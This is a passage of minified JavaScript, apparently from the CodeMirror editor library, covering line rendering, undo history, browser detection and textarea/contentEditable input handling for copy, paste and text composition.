for(d=1;d<s.length;d+=2)o.addToken(o,c.slice(u,u=s[d]),Cn(s[d+1],o.cm.options))}l.styleClasses&&(l.styleClasses.bgClass&&(n.bgClass=Ti(l.styleClasses.bgClass,n.bgClass||"")),l.styleClasses.textClass&&(n.textClass=Ti(l.styleClasses.textClass,n.textClass||""))),0==n.map.length&&n.map.push(0,0,n.content.appendChild(Mi(e.display.measure))),0==i?(t.measure.map=n.map,t.measure.cache={}):((t.measure.maps||(t.measure.maps=[])).push(n.map),(t.measure.caches||(t.measure.caches=[])).push({}))}return Vi&&/\bcm-tab\b/.test(n.content.lastChild.className)&&(n.content.className="cm-tab-wrap-hack"),Jr(e,"renderLine",e,t.line,n.pre),n.pre.className&&(n.textClass=Ti(n.pre.className,n.textClass||"")),n}function Ln(e,t,n,i,r,o,l){if(t){var s=e.splitSpaces?t.replace(/ {3,}/g,Tn):t,a=e.cm.state.specialChars,c=!1;if(a.test(t))for(var u=document.createDocumentFragment(),h=0;;){a.lastIndex=h;var f=a.exec(t),d=f?f.index-h:t.length-h;if(d){var p=document.createTextNode(s.slice(h,h+d));Gi&&9>Ui?u.appendChild(wi("span",[p])):u.appendChild(p),e.map.push(e.pos,e.pos+d,p),e.col+=d,e.pos+=d}if(!f)break;h+=d+1,"\t"==f[0]?(f=(p=e.cm.options.tabSize)-e.col%p,(p=u.appendChild(wi("span",ci(f),"cm-tab"))).setAttribute("role","presentation"),p.setAttribute("cm-text","\t"),e.col+=f):((p=e.cm.options.specialCharPlaceholder(f[0])).setAttribute("cm-text",f[0]),Gi&&9>Ui?u.appendChild(wi("span",[p])):u.appendChild(p),e.col+=1),e.map.push(e.pos,e.pos+1,p),e.pos++}else e.col+=t.length,u=document.createTextNode(s),e.map.push(e.pos,e.pos+t.length,u),Gi&&9>Ui&&(c=!0),e.pos+=t.length;if(n||i||r||c||l)return t=n||"",i&&(t+=i),r&&(t+=r),i=wi("span",[u],t,l),o&&(i.title=o),e.content.appendChild(i);e.content.appendChild(u)}}function Tn(e){for(var t=" ",n=0;n<e.length-2;++n)t+=n%2?" ":" ";return t+" "}function kn(e,t){return function(n,i,r,o,l,s,a){r=r?r+" cm-force-border":"cm-force-border";for(var c=n.pos,u=c+i.length;;){for(var h=0;h<t.length;h++){var f=t[h];if(f.to>c&&f.from<=c)break}if(f.to>=u)return e(n,i,r,o,l,s,a);e(n,i.slice(0,f.to-c),r,o,null,s,a),o=null,i=i.slice(f.to-c),c=f.to}}}function Mn(e,t,n,i){var r=!i&&n.widgetNode;r&&e.map.push(e.pos,e.pos+t,r),!i&&e.cm.display.input.needsContentAttribute&&(r||(r=e.content.appendChild(document.createElement("span"))),r.setAttribute("cm-marker",n.id)),r&&(e.cm.display.input.setUneditable(r),e.content.appendChild(r)),e.pos+=t}function Nn(e,t){return 0==t.from.ch&&0==t.to.ch&&""==ui(t.text)&&(!e.cm||e.cm.options.wholeLineUpdateBefore)}function An(e,t,n,i){function r(e,n,r){e.text=n,e.stateAfter&&(e.stateAfter=null),e.styles&&(e.styles=null),null!=e.order&&(e.order=null),nn(e),rn(e,r),(n=i?i(e):1)!=e.height&&zn(e,n),ti(e,"change",e,t)}function o(e,t){for(var r=e,o=[];r<t;++r)o.push(new Gr(a[r],n?n[r]:null,i));return o}var l=t.from,s=t.to,a=t.text,c=En(e,l.line),u=En(e,s.line),h=ui(a),f=n?n[a.length-1]:null,d=s.line-l.line;if(t.full)e.insert(0,o(0,a.length)),e.remove(a.length,e.size-a.length);else if(Nn(e,t)){var p=o(0,a.length-1);r(u,u.text,f),d&&e.remove(l.line,d),p.length&&e.insert(l.line,p)}else c==u?1==a.length?r(c,c.text.slice(0,l.ch)+h+c.text.slice(s.ch),f):((p=o(1,a.length-1)).push(new Gr(h+c.text.slice(s.ch),f,i)),r(c,c.text.slice(0,l.ch)+a[0],n?n[0]:null),e.insert(l.line+1,p)):1==a.length?(r(c,c.text.slice(0,l.ch)+a[0]+u.text.slice(s.ch),n?n[0]:null),e.remove(l.line+1,d)):(r(c,c.text.slice(0,l.ch)+a[0],n?n[0]:null),r(u,h+u.text.slice(s.ch),f),p=o(1,a.length-1),1<d&&e.remove(l.line+1,d-1),e.insert(l.line+1,p));ti(e,"change",e,t)}function Wn(e){this.lines=e,this.parent=null;for(var t=0,n=0;t<e.length;++t)e[t].parent=this,n+=e[t].height;this.height=n}function On(e){this.children=e;for(var t=0,n=0,i=0;i<e.length;++i){var r=e[i];t+=r.chunkSize(),n+=r.height,r.parent=this}this.size=t,this.height=n,this.parent=null}function Dn(e,t,n){!function e(i,r,o){if(i.linked)for(var l=0;l<i.linked.length;++l){var s=i.linked[l];if(s.doc!=r){var a=o&&s.sharedHist;n&&!a||(t(s.doc,a),e(s.doc,i,a))}}}(e,null,!0)}function Hn(e,t){if(t.cm)throw Error("This document is already in use.");e.doc=t,t.cm=e,o(e),n(e),e.options.lineWrapping||h(e),e.options.mode=t.modeOption,nt(e)}function En(e,t){if(0>(t-=e.first)||t>=e.size)throw Error("There is no line "+(t+e.first)+" in the document.");for(var n=e;!n.lines;)for(var i=0;;++i){var r=n.children[i],o=r.chunkSize();if(t<o){n=r;break}t-=o}return n.lines[t]}function In(e,t,n){var i=[],r=t.line;return e.iter(t.line,n.line+1,(function(e){e=e.text,r==n.line&&(e=e.slice(0,n.ch)),r==t.line&&(e=e.slice(t.ch)),i.push(e),++r})),i}function Pn(e,t,n){var i=[];return e.iter(t,n,(function(e){i.push(e.text)})),i}function zn(e,t){var n=t-e.height;if(n)for(var i=e;i;i=i.parent)i.height+=n}function Fn(e){if(null==e.parent)return null;var t=e.parent;e=hi(t.lines,e);for(var n=t.parent;n;t=n,n=n.parent)for(var i=0;n.children[i]!=t;++i)e+=n.children[i].chunkSize();return e+t.first}function Rn(e,t){var n=e.first;e:do{for(var i=0;i<e.children.length;++i){var r=e.children[i],o=r.height;if(t<o){e=r;continue e}t-=o,n+=r.chunkSize()}return n}while(!e.lines);for(i=0;i<e.lines.length&&!(t<(r=e.lines[i].height));++i)t-=r;return n+i}function Bn(e){for(var t=0,n=(e=an(e)).parent,i=0;i<n.lines.length;++i){var r=n.lines[i];if(r==e)break;t+=r.height}for(e=n.parent;e;e=(n=e).parent)for(i=0;i<e.children.length&&(r=e.children[i])!=n;++i)t+=r.height;return t}function Gn(e){var t=e.order;return null==t&&(t=e.order=No(e.text)),t}function Un(e){this.done=[],this.undone=[],this.undoDepth=1/0,this.lastModTime=this.lastSelTime=0,this.lastOrigin=this.lastSelOrigin=this.lastOp=this.lastSelOp=null,this.generation=this.maxGeneration=e||1}function Vn(e,t){var n={from:B(t.from),to:wr(t),text:In(e,t.from,t.to)};return Yn(e,n,t.from.line,t.to.line+1),Dn(e,(function(e){Yn(e,n,t.from.line,t.to.line+1)}),!0),n}function Kn(e){for(;e.length&&ui(e).ranges;)e.pop()}function Xn(e,t,n,i){var r=e.history;r.undone.length=0;var o,l,s=+new Date;if((l=r.lastOp==i||r.lastOrigin==t.origin&&t.origin&&("+"==t.origin.charAt(0)&&e.cm&&r.lastModTime>s-e.cm.options.historyEventDelay||"*"==t.origin.charAt(0)))&&(r.lastOp==i?(Kn(r.done),o=ui(r.done)):r.done.length&&!ui(r.done).ranges?o=ui(r.done):1<r.done.length&&!r.done[r.done.length-2].ranges?(r.done.pop(),o=ui(r.done)):o=void 0,l=o),l){var a=ui(o.changes);0==lr(t.from,t.to)&&0==lr(t.from,a.to)?a.to=wr(t):o.changes.push(Vn(e,t))}else for((o=ui(r.done))&&o.ranges||jn(e.sel,r.done),o={changes:[Vn(e,t)],generation:r.generation},r.done.push(o);r.done.length>r.undoDepth;)r.done.shift(),r.done[0].ranges||r.done.shift();r.done.push(n),r.generation=++r.maxGeneration,r.lastModTime=r.lastSelTime=s,r.lastOp=r.lastSelOp=i,r.lastOrigin=r.lastSelOrigin=t.origin,a||Jr(e,"historyAdded")}function jn(e,t){var n=ui(t);n&&n.ranges&&n.equals(e)||t.push(e)}function Yn(e,t,n,i){var r=t["spans_"+e.id],o=0;e.iter(Math.max(e.first,n),Math.min(e.first+e.size,i),(function(n){n.markedSpans&&((r||(r=t["spans_"+e.id]={}))[o]=n.markedSpans),++o}))}function _n(e){if(!e)return null;for(var t,n=0;n<e.length;++n)e[n].marker.explicitlyCleared?t||(t=e.slice(0,n)):t&&t.push(e[n]);return t?t.length?t:null:e}function $n(e,t,n){for(var i=0,r=[];i<e.length;++i)if((o=e[i]).ranges)r.push(n?te.prototype.deepCopy.call(o):o);else{var o=o.changes,l=[];r.push({changes:l});for(var s=0;s<o.length;++s){var a,c=o[s];if(l.push({from:c.from,to:c.to,text:c.text}),t)for(var u in c)(a=u.match(/^spans_(\d+)$/))&&-1<hi(t,Number(a[1]))&&(ui(l)[u]=c[u],delete c[u])}}return r}function qn(e,t,n,i){n<e.line?e.line+=i:t<e.line&&(e.line=t,e.ch=0)}function Zn(e,t,n,i){for(var r=0;r<e.length;++r){var o=e[r],l=!0;if(o.ranges){o.copied||((o=e[r]=o.deepCopy()).copied=!0);for(var s=0;s<o.ranges.length;s++)qn(o.ranges[s].anchor,t,n,i),qn(o.ranges[s].head,t,n,i)}else{for(s=0;s<o.changes.length;++s){var a=o.changes[s];if(n<a.from.line)a.from=or(a.from.line+i,a.from.ch),a.to=or(a.to.line+i,a.to.ch);else if(t<=a.to.line){l=!1;break}}l||(e.splice(0,r+1),r=0)}}}function Qn(e,t){var n=t.from.line,i=t.to.line,r=t.text.length-(i-n)-1;Zn(e.done,n,i,r),Zn(e.undone,n,i,r)}function Jn(e){return null!=e.defaultPrevented?e.defaultPrevented:0==e.returnValue}function ei(e){var t=e.which;return null==t&&(1&e.button?t=1:2&e.button?t=3:4&e.button&&(t=2)),Qi&&e.ctrlKey&&1==t&&(t=3),t}function ti(e,t){function n(e){return function(){e.apply(null,o)}}var i=e._handlers&&e._handlers[t];if(i){var r,o=Array.prototype.slice.call(arguments,2);fr?r=fr.delayedCallbacks:eo?r=eo:(r=eo=[],setTimeout(ni,0));for(var l=0;l<i.length;++l)r.push(n(i[l]))}}function ni(){var e=eo;eo=null;for(var t=0;t<e.length;++t)e[t]()}function ii(e,t,n){return"string"==typeof t&&(t={type:t,preventDefault:function(){this.defaultPrevented=!0}}),Jr(e,n||t.type,e,t),Jn(t)||t.codemirrorIgnore}function ri(e){var t=e._handlers&&e._handlers.cursorActivity;if(t){e=e.curOp.cursorActivityHandlers||(e.curOp.cursorActivityHandlers=[]);for(var n=0;n<t.length;++n)-1==hi(e,t[n])&&e.push(t[n])}}function oi(e,t){var n=e._handlers&&e._handlers[t];return n&&0<n.length}function li(e){e.prototype.on=function(e,t){Zr(this,e,t)},e.prototype.off=function(e,t){Qr(this,e,t)}}function si(){this.id=null}function ai(e,t,n){for(var i=0,r=0;;){var o=e.indexOf("\t",i);-1==o&&(o=e.length);var l=o-i;if(o==e.length||r+l>=t)return i+Math.min(l,t-r);if(r+=o-i,i=o+1,(r+=n-r%n)>=t)return i}}function ci(e){for(;so.length<=e;)so.push(ui(so)+" ");return so[e]}function ui(e){return e[e.length-1]}function hi(e,t){for(var n=0;n<e.length;++n)if(e[n]==t)return n;return-1}function fi(e,t){for(var n=[],i=0;i<e.length;i++)n[i]=t(e[i],i);return n}function di(){}function pi(e,t){var n;return Object.create?n=Object.create(e):(di.prototype=e,n=new di),t&&gi(t,n),n}function gi(e,t,n){for(var i in t||(t={}),e)!e.hasOwnProperty(i)||!1===n&&t.hasOwnProperty(i)||(t[i]=e[i]);return t}function mi(e){var t=Array.prototype.slice.call(arguments,1);return function(){return e.apply(null,t)}}function vi(e,t){return t?!!(-1<t.source.indexOf("\\w")&&ho(e))||t.test(e):ho(e)}function yi(e){for(var t in e)if(e.hasOwnProperty(t)&&e[t])return!1;return!0}function bi(e){return 768<=e.charCodeAt(0)&&fo.test(e)}function wi(e,t,n,i){if(e=document.createElement(e),n&&(e.className=n),i&&(e.style.cssText=i),"string"==typeof t)e.appendChild(document.createTextNode(t));else if(t)for(n=0;n<t.length;++n)e.appendChild(t[n]);return e}function xi(e){for(var t=e.childNodes.length;0<t;--t)e.removeChild(e.firstChild);return e}function Ci(e,t){return xi(e).appendChild(t)}function Si(){return document.activeElement}function Li(e){return new RegExp("(^|\\s)"+e+"(?:$|\\s)\\s*")}function Ti(e,t){for(var n=e.split(" "),i=0;i<n.length;i++)n[i]&&!Li(n[i]).test(t)&&(t+=" "+n[i]);return t}function ki(e){if(document.body.getElementsByClassName)for(var t=document.body.getElementsByClassName("CodeMirror"),n=0;n<t.length;n++){var i=t[n].CodeMirror;i&&e(i)}}function Mi(e){if(null==go){var t=wi("span","");Ci(e,wi("span",[t,document.createTextNode("x")])),0!=e.firstChild.offsetHeight&&(go=1>=t.offsetWidth&&2<t.offsetHeight&&!(Gi&&8>Ui))}return(e=go?wi("span",""):wi("span"," ",null,"display: inline-block; width: 1px; margin-right: -1px")).setAttribute("cm-text",""),e}function Ni(e){return e.level%2?e.to:e.from}function Ai(e){return e.level%2?e.from:e.to}function Wi(e){return(e=Gn(e))?Ni(e[0]):0}function Oi(e){var t=Gn(e);return t?Ai(ui(t)):e.text.length}function Di(e,t){var n=En(e.doc,t),i=an(n);return i!=n&&(t=Fn(i)),i=(n=Gn(i))?n[0].level%2?Oi(i):Wi(i):0,or(t,i)}function Hi(e,t){var n=Di(e,t.line),i=En(e.doc,n.line),r=Gn(i);return r&&0!=r[0].level?n:(i=Math.max(0,i.text.search(/\S/)),or(n.line,t.line==n.line&&t.ch<=i&&t.ch?0:i))}function Ei(e,t){Mo=null;for(var n,i=0;i<e.length;++i){var r=e[i];if(r.from<t&&r.to>t)return i;if(r.from==t||r.to==t){if(null!=n){var o;o=r.level;var l=e[n].level,s=e[0].level;if(o=o==s||l!=s&&o<l)return r.from!=r.to&&(Mo=n),i;r.from!=r.to&&(Mo=i);break}n=i}}return n}function Ii(e,t,n,i){if(!i)return t+n;do{t+=n}while(0<t&&bi(e.text.charAt(t)));return t}function Pi(e,t,n,i){var r=Gn(e);if(!r)return zi(e,t,n,i);var o=Ei(r,t),l=r[o];for(t=Ii(e,t,l.level%2?-n:n,i);;){if(t>l.from&&t<l.to)return t;if(t==l.from||t==l.to)return Ei(r,t)==o?t:0<n==(l=r[o+n]).level%2?l.to:l.from;if(!(l=r[o+=n]))return null;t=0<n==l.level%2?Ii(e,l.to,-1,i):Ii(e,l.from,1,i)}}function zi(e,t,n,i){if(t+=n,i)for(;0<t&&bi(e.text.charAt(t));)t+=n;return 0>t||t>e.text.length?null:t}var Fi=/gecko\/\d/i.test(navigator.userAgent),Ri=/MSIE \d/.test(navigator.userAgent),Bi=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent),Gi=Ri||Bi,Ui=Gi&&(Ri?document.documentMode||6:Bi[1]),Vi=/WebKit\//.test(navigator.userAgent),Ki=Vi&&/Qt\/\d+\.\d+/.test(navigator.userAgent),Xi=/Chrome\//.test(navigator.userAgent),ji=/Opera\//.test(navigator.userAgent),Yi=/Apple Computer/.test(navigator.vendor),_i=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(navigator.userAgent),$i=/PhantomJS/.test(navigator.userAgent),qi=/AppleWebKit/.test(navigator.userAgent)&&/Mobile\/\w+/.test(navigator.userAgent),Zi=qi||/Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent),Qi=qi||/Mac/.test(navigator.platform),Ji=/win/i.test(navigator.platform),er=ji&&navigator.userAgent.match(/Version\/(\d*\.\d*)/);er&&(er=Number(er[1])),er&&15<=er&&(ji=!1,Vi=!0);var tr=Qi&&(Ki||ji&&(null==er||12.11>er)),nr=Fi||Gi&&9<=Ui,ir=!1,rr=!1;p.prototype=gi({update:function(e){var t=e.scrollWidth>e.clientWidth+1,n=e.scrollHeight>e.clientHeight+1,i=e.nativeBarWidth;return n?(this.vert.style.display="block",this.vert.style.bottom=t?i+"px":"0",this.vert.firstChild.style.height=Math.max(0,e.scrollHeight-e.clientHeight+(e.viewHeight-(t?i:0)))+"px"):(this.vert.style.display="",this.vert.firstChild.style.height="0"),t?(this.horiz.style.display="block",this.horiz.style.right=n?i+"px":"0",this.horiz.style.left=e.barLeft+"px",this.horiz.firstChild.style.width=e.scrollWidth-e.clientWidth+(e.viewWidth-e.barLeft-(n?i:0))+"px"):(this.horiz.style.display="",this.horiz.firstChild.style.width="0"),!this.checkedOverlay&&0<e.clientHeight&&(0==i&&this.overlayHack(),this.checkedOverlay=!0),{right:n?i:0,bottom:t?i:0}},setScrollLeft:function(e){this.horiz.scrollLeft!=e&&(this.horiz.scrollLeft=e)},setScrollTop:function(e){this.vert.scrollTop!=e&&(this.vert.scrollTop=e)},overlayHack:function(){this.horiz.style.minHeight=this.vert.style.minWidth=Qi&&!_i?"12px":"18px";var e=this,t=function(t){(t.target||t.srcElement)!=e.vert&&(t.target||t.srcElement)!=e.horiz&&Ze(e.cm,ht)(t)};Zr(this.vert,"mousedown",t),Zr(this.horiz,"mousedown",t)},clear:function(){var e=this.horiz.parentNode;e.removeChild(this.horiz),e.removeChild(this.vert)}},p.prototype),g.prototype=gi({update:function(){return{bottom:0,right:0}},setScrollLeft:function(){},setScrollTop:function(){},clear:function(){}},g.prototype),e.scrollbarModel={native:p,null:g},L.prototype.signal=function(e,t){oi(e,t)&&this.events.push(arguments)},L.prototype.finish=function(){for(var e=0;e<this.events.length;e++)Jr.apply(null,this.events[e])};var or=e.Pos=function(e,t){if(!(this instanceof or))return new or(e,t);this.line=e,this.ch=t},lr=e.cmpPos=function(e,t){return e.line-t.line||e.ch-t.ch},sr=null;_.prototype=gi({init:function(e){function t(e){if(i.somethingSelected())sr=i.getSelections(),n.inaccurateSelection&&(n.prevInput="",n.inaccurateSelection=!1,o.value=sr.join("\n"),ao(o));else{if(!i.options.lineWiseCopyCut)return;var t=j(i);sr=t.text,"cut"==e.type?i.setSelections(t.ranges,null,io):(n.prevInput="",o.value=t.text.join("\n"),ao(o))}"cut"==e.type&&(i.state.cutIncoming=!0)}var n=this,i=this.cm,r=this.wrapper=$(),o=this.textarea=r.firstChild;e.wrapper.insertBefore(r,e.wrapper.firstChild),qi&&(o.style.width="0px"),Zr(o,"input",(function(){Gi&&9<=Ui&&n.hasSelection&&(n.hasSelection=null),n.poll()})),Zr(o,"paste",(function(){if(Vi&&!i.state.fakedLastChar&&!(200>new Date-i.state.lastMiddleDown)){var e=o.selectionStart,t=o.selectionEnd;o.value+="$",o.selectionEnd=t,o.selectionStart=e,i.state.fakedLastChar=!0}i.state.pasteIncoming=!0,n.fastPoll()})),Zr(o,"cut",t),Zr(o,"copy",t),Zr(e.scroller,"paste",(function(t){ct(e,t)||(i.state.pasteIncoming=!0,n.focus())})),Zr(e.lineSpace,"selectstart",(function(t){ct(e,t)||_r(t)})),Zr(o,"compositionstart",(function(){var e=i.getCursor("from");n.composing={start:e,range:i.markText(e,i.getCursor("to"),{className:"CodeMirror-composing"})}})),Zr(o,"compositionend",(function(){n.composing&&(n.poll(),n.composing.range.clear(),n.composing=null)}))},prepareSelection:function(){var e=(i=this.cm).display,t=i.doc,n=be(i);if(i.options.moveInputWithCursor){var i=Ge(i,t.sel.primary().head,"div"),r=(t=e.wrapper.getBoundingClientRect(),e.lineDiv.getBoundingClientRect());n.teTop=Math.max(0,Math.min(e.wrapper.clientHeight-10,i.top+r.top-t.top)),n.teLeft=Math.max(0,Math.min(e.wrapper.clientWidth-10,i.left+r.left-t.left))}return n},showSelection:function(e){var t=this.cm.display;Ci(t.cursorDiv,e.cursors),Ci(t.selectionDiv,e.selection),null!=e.teTop&&(this.wrapper.style.top=e.teTop+"px",this.wrapper.style.left=e.teLeft+"px")},reset:function(e){if(!this.contextMenuPending){var t,n,i=this.cm,r=i.doc;i.somethingSelected()?(this.prevInput="",t=r.sel.primary(),n=(t=Lo&&(100<t.to().line-t.from().line||1e3<(n=i.getSelection()).length))?"-":n||i.getSelection(),this.textarea.value=n,i.state.focused&&ao(this.textarea),Gi&&9<=Ui&&(this.hasSelection=n)):e||(this.prevInput=this.textarea.value="",Gi&&9<=Ui&&(this.hasSelection=null)),this.inaccurateSelection=t}},getField:function(){return this.textarea},supportsTouch:function(){return!1},focus:function(){if("nocursor"!=this.cm.options.readOnly&&(!Zi||Si()!=this.textarea))try{this.textarea.focus()}catch(e){}},blur:function(){this.textarea.blur()},resetPosition:function(){this.wrapper.style.top=this.wrapper.style.left=0},receivedFocus:function(){this.slowPoll()},slowPoll:function(){var e=this;e.pollingFast||e.polling.set(this.cm.options.pollInterval,(function(){e.poll(),e.cm.state.focused&&e.slowPoll()}))},fastPoll:function(){var e=!1,t=this;t.pollingFast=!0,t.polling.set(20,(function n(){t.poll()||e?(t.pollingFast=!1,t.slowPoll()):(e=!0,t.polling.set(60,n))}))},poll:function(){var e=this.cm,t=this.textarea,n=this.prevInput;if(!e.state.focused||So(t)&&!n||K(e)||e.options.disableInput||e.state.keySeq)return!1;e.state.pasteIncoming&&e.state.fakedLastChar&&(t.value=t.value.substring(0,t.value.length-1),e.state.fakedLastChar=!1);var i=t.value;if(i==n&&!e.somethingSelected())return!1;if(Gi&&9<=Ui&&this.hasSelection===i||Qi&&/[\uf700-\uf7ff]/.test(i))return e.display.input.reset(),!1;if(e.doc.sel==e.display.selForContextMenu&&(8203!=(o=i.charCodeAt(0))||n||(n=""),8666==o))return this.reset(),this.cm.execCommand("undo");for(var r=0,o=Math.min(n.length,i.length);r<o&&n.charCodeAt(r)==i.charCodeAt(r);)++r;var l=this;return qe(e,(function(){X(e,i.slice(r),n.length-r,null,l.composing?"*compose":null),1e3<i.length||-1<i.indexOf("\n")?t.value=l.prevInput="":l.prevInput=i,l.composing&&(l.composing.range.clear(),l.composing.range=e.markText(l.composing.start,e.getCursor("to"),{className:"CodeMirror-composing"}))})),!0},ensurePolled:function(){this.pollingFast&&this.poll()&&(this.pollingFast=!1)},onKeyPress:function(){Gi&&9<=Ui&&(this.hasSelection=null),this.fastPoll()},onContextMenu:function(e){function t(){if(null!=l.selectionStart){var e=r.somethingSelected(),t=""+(e?l.value:"");l.value="⇚",l.value=t,i.prevInput=e?"":"",l.selectionStart=1,l.selectionEnd=t.length,o.selForContextMenu=r.doc.sel}}function n(){if(i.contextMenuPending=!1,i.wrapper.style.position="relative",l.style.cssText=c,Gi&&9>Ui&&o.scrollbars.setScrollTop(o.scroller.scrollTop=a),null!=l.selectionStart){(!Gi||Gi&&9>Ui)&&t();var e=0,n=function(){o.selForContextMenu==r.doc.sel&&0==l.selectionStart&&0<l.selectionEnd&&""==i.prevInput?Ze(r,Or.selectAll)(r):10>e++?o.detectingSelectAll=setTimeout(n,500):o.input.reset()};o.detectingSelectAll=setTimeout(n,200)}}var i=this,r=i.cm,o=r.display,l=i.textarea,s=ut(r,e),a=o.scroller.scrollTop;if(s&&!ji){r.options.resetSelectionOnContextMenu&&-1==r.doc.sel.contains(s)&&Ze(r,fe)(r.doc,re(s),io);var c=l.style.cssText;if(i.wrapper.style.position="absolute",l.style.cssText="position: fixed; width: 30px; height: 30px; top: "+(e.clientY-5)+"px; left: "+(e.clientX-5)+"px; z-index: 1000; background: "+(Gi?"rgba(255, 255, 255, .05)":"transparent")+"; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);",Vi)var u=window.scrollY;if(o.input.focus(),Vi&&window.scrollTo(null,u),o.input.reset(),r.somethingSelected()||(l.value=i.prevInput=" "),i.contextMenuPending=!0,o.selForContextMenu=r.doc.sel,clearTimeout(o.detectingSelectAll),Gi&&9<=Ui&&t(),nr){qr(e);var h=function(){Qr(window,"mouseup",h),setTimeout(n,20)};Zr(window,"mouseup",h)}else setTimeout(n,50)}},setUneditable:di,needsContentAttribute:!1},_.prototype),q.prototype=gi({init:function(e){function t(e){if(i.somethingSelected())sr=i.getSelections(),"cut"==e.type&&i.replaceSelection("",null,"cut");else{if(!i.options.lineWiseCopyCut)return;var t=j(i);sr=t.text,"cut"==e.type&&i.operation((function(){i.setSelections(t.ranges,0,io),i.replaceSelection("",null,"cut")}))}if(e.clipboardData&&!qi)e.preventDefault(),e.clipboardData.clearData(),e.clipboardData.setData("text/plain",sr.join("\n"));else{var n=$();e=n.firstChild,i.display.lineSpace.insertBefore(n,i.display.lineSpace.firstChild),e.value=sr.join("\n");var r=document.activeElement;ao(e),setTimeout((function(){i.display.lineSpace.removeChild(n),r.focus()}),50)}}var n=this,i=n.cm;(e=n.div=e.lineDiv).contentEditable="true",Y(e),Zr(e,"paste",(function(e){var t=e.clipboardData&&e.clipboardData.getData("text/plain");t&&(e.preventDefault(),i.replaceSelection(t,null,"paste"))})),Zr(e,"compositionstart",(function(e){if(e=e.data,n.composing={sel:i.doc.sel,data:e,startData:e},e){var t=i.doc.sel.primary(),r=i.getLine(t.head.line).indexOf(e,Math.max(0,t.head.ch-e.length));-1<r&&r<=t.head.ch&&(n.composing.sel=re(or(t.head.line,r),or(t.head.line,r+e.length)))}})),Zr(e,"compositionupdate",(function(e){n.composing.data=e.data})),Zr(e,"compositionend",(function(e){var t=n.composing;t&&(e.data==t.startData||/\u200b/.test(e.data)||(t.data=e.data),setTimeout((function(){t.handled||n.applyComposition(t),n.composing==t&&(n.composing=null)}),50))})),Zr(e,"touchstart",(function(){n.forceCompositionEnd()})),Zr(e,"input",(function(){n.composing||n.pollContent()||qe(n.cm,(function(){nt(i)}))})),Zr(e,"copy",t),Zr(e,"cut",t)},prepareSelection:function(){var e=be(this.cm,!1);return e.focus=this.cm.state.focused,e},showSelection:function(e){e&&this.cm.display.view.length&&(e.focus&&this.showPrimarySelection(),this.showMultipleSelections(e))},showPrimarySelection:function(){var e=window.getSelection(),t=this.cm.doc.sel.primary(),n=J(this.cm,e.anchorNode,e.anchorOffset),i=J(this.cm,e.focusNode,e.focusOffset);if((!n||n.bad||!i||i.bad||0!=lr(U(n,i),t.from())||0!=lr(G(n,i),t.to()))&&(n=Z(this.cm,t.from()),i=Z(this.cm,t.to()),n||i)){var r=this.cm.display.view;t=e.rangeCount&&e.getRangeAt(0),n?i||(i={node:(i=(i=r[r.length-1].measure).maps?i.maps[i.maps.length-1]:i.map)[i.length-1],offset:i[i.length-2]-i[i.length-3]}):n={node:r[0].measure.map[2],offset:0};try{var o=co(n.node,n.offset,i.offset,i.node)}catch(e){}o&&(e.removeAllRanges(),e.addRange(o),t&&null==e.anchorNode?e.addRange(t):Fi&&this.startGracePeriod()),this.rememberSelection()}},startGracePeriod:function(){var e=this;clearTimeout(this.gracePeriod),this.gracePeriod=setTimeout((function(){e.gracePeriod=!1,e.selectionChanged()&&e.cm.operation((function(){e.cm.curOp.selectionChanged=!0}))}),20)},showMultipleSelections:function(e){Ci(this.cm.display.cursorDiv,e.cursors),Ci(this.cm.display.selectionDiv,e.selection)},rememberSelection:function(){var e=window.getSelection();this.lastAnchorNode=e.anchorNode,this.lastAnchorOffset=e.anchorOffset,this.lastFocusNode=e.focusNode,this.lastFocusOffset=e.focusOffset},selectionInEditor:function(){var e=window.getSelection();return!!e.rangeCount&&(e=e.getRangeAt(0).commonAncestorContainer,po(this.div,e))},focus:function(){"nocursor"!=this.cm.options.readOnly&&this.div.focus()},blur:function(){this.div.blur()},getField:function(){return this.div},supportsTouch:function(){return!0},receivedFocus:function(){var e=this;this.selectionInEditor()?this.pollSelection():qe(this.cm,(function(){e.cm.curOp.selectionChanged=!0})),this.polling.set(this.cm.options.pollInterval,(function t(){e.cm.state.focused&&(e.pollSelection(),e.polling.set(e.cm.options.pollInterval,t))}))},selectionChanged:function(){var e=window.getSelection();return e.anchorNode!=this.lastAnchorNode||e.anchorOffset!=this.lastAnchorOffset||e.focusNode!=this.lastFocusNode||e.focusOffset!=this.lastFocusOffset},pollSelection:function(){if(!this.composing&&!this.gracePeriod&&this.selectionChanged()){var e=window.getSelection(),t=this.cm;this.rememberSelection();var n=J(t,e.anchorNode,e.anchorOffset),i=J(t,e.focusNode,e.focusOffset);n&&i&&qe(t,(function(){fe(t.doc,re(n,i),io),(n.bad||i.bad)&&(t.curOp.selectionChanged=!0)}))}},pollContent:function(){var e,t=this.cm,n=t.display,i=(r=t.doc.sel.primary()).from(),r=r.to();if(i.line<n.viewFrom||r.line>n.viewTo-1)return!1;for(i.line==n.viewFrom||0==(e=ot(t,i.line))?(i=Fn(n.view[0].line),e=n.view[0].node):(i=Fn(n.view[e].line),e=n.view[e-1].node.nextSibling),(l=ot(t,r.line))==n.view.length-1?(r=n.viewTo-1,n=n.view[l].node):(r=Fn(n.view[l+1].line)-1,n=n.view[l+1].node.previousSibling),n=Co(function(e,t,n,i,r){function o(t){var n,a;if(1==t.nodeType){if(null!=(n=t.getAttribute("cm-text")))""==n&&(n=t.textContent.replace(/\u200b/g,"")),l+=n;else if(n=t.getAttribute("cm-marker"))(t=e.findMarks(or(i,0),or(r+1,0),function(e){return function(t){return t.id==e}}(+n))).length&&(a=t[0].find())&&(l+=In(e.doc,a.from,a.to).join("\n"));else if("false"!=t.getAttribute("contenteditable")){for(a=0;a<t.childNodes.length;a++)o(t.childNodes[a]);/^(pre|div|p)$/i.test(t.nodeName)&&(s=!0)}}else 3==t.nodeType&&(t=t.nodeValue)&&(s&&(l+="\n",s=!1),l+=t)}for(var l="",s=!1;o(t),t!=n;)t=t.nextSibling;return l}(t,e,n,i,r)),e=In(t.doc,or(i,0),or(r,En(t.doc,r).text.length));1<n.length&&1<e.length;)if(ui(n)==ui(e))n.pop(),e.pop(),r--;else{if(n[0]!=e[0])break;n.shift(),e.shift(),i++}for(var 